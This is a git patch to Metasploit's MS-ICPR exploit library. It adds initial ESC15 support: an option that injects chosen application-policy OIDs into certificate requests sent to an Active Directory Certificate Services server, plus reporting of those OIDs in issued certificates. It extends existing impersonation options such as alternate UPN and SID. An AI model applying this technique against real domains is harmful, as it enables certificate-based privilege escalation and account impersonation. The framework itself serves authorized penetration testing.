From 8f95c0f02d2281ea1caa8b462dd5412fc131b47a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 8 Oct 2024 17:17:10 -0400 Subject: [PATCH] Add the inital code for ESC15 --- lib/msf/core/exploit/remote/ms_icpr.rb | 40 ++++++++++++++++++++++++-- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index e85877feff73..6c78c6d0f3be 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze # [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec) OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze + # [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378) + OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze class MsIcprError < StandardError; end class MsIcprConnectionError < MsIcprError; end @@ -39,6 +41,7 @@ def initialize(info = {}) OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), OptString.new('ALT_SID', [ false, 'Alternative object SID' ]), OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), + OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/), OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), Opt::RPORT(445) @@ -131,6 +134,7 @@ def do_request_cert(icpr, opts) alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID']) alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN']) algorithm = opts[:algorithm] || datastore['DigestAlgorithm'] + application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/)) status_msg << " - alternate DNS: #{alt_dns}" if alt_dns status_msg << " - alternate UPN: #{alt_upn}" if alt_upn status_msg << " - digest algorithm: #{algorithm}" if algorithm @@ -140,7 +144,8 @@ def do_request_cert(icpr, opts) dns: alt_dns, msext_sid: alt_sid, msext_upn: alt_upn, - algorithm: algorithm + algorithm: algorithm, + application_policies: application_policies ) on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF']) @@ -205,6 +210,13 @@ def do_request_cert(icpr, opts) print_status("Certificate UPN: #{upn.join(', ')}") end + unless (policy_oids = get_cert_policy_oids(response[:certificate])).empty? + print_status("Certificate Policies:") + policy_oids.each do |oid| + print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : '')) + end + end + pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate]) # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate" @@ -239,8 +251,10 @@ def do_request_cert(icpr, opts) # @param [String] dns An alternative DNS name to use. # @param [String] msext_sid An explicit SID to specify for strong identity mapping. # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature). + # @param [String] algorithm The algorithm to use when signing the CSR. + # @param [Array] application_policies OIDs to add as application policies. # @return [OpenSSL::X509::Request] The request object. - def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256') + def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) request = OpenSSL::X509::Request.new request.version = 1 request.subject = OpenSSL::X509::Name.new([ @@ -265,6 +279,14 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) end + unless application_policies.empty? + # todo: need to work this out so application_policies is processed as a proper array + application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new( + certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) } + ) + extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false) + end + unless extensions.empty? request.add_attribute(OpenSSL::X509::Attribute.new( 'extReq', @@ -349,6 +371,19 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ) end + # Get the certificate policy OIDs from the certificate. + # + # @param [OpenSSL::X509::Certificate] cert + # @return [Array] The policy OIDs if any were found. + def get_cert_policy_oids(cert) + ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' } + return [] unless ext + + cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der) + cert_policies.value.map { |policy_info| Rex::Proto::CryptoAsn1::OIDs.value(policy_info[:policyIdentifier].value) } + end + + # Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension. # # @param [OpenSSL::X509::Certificate] cert @@ -402,7 +437,6 @@ def get_cert_san_dns(cert) end end - # Get the E-mail addresses from the certificate. # # @param [OpenSSL::X509::Certificate] cert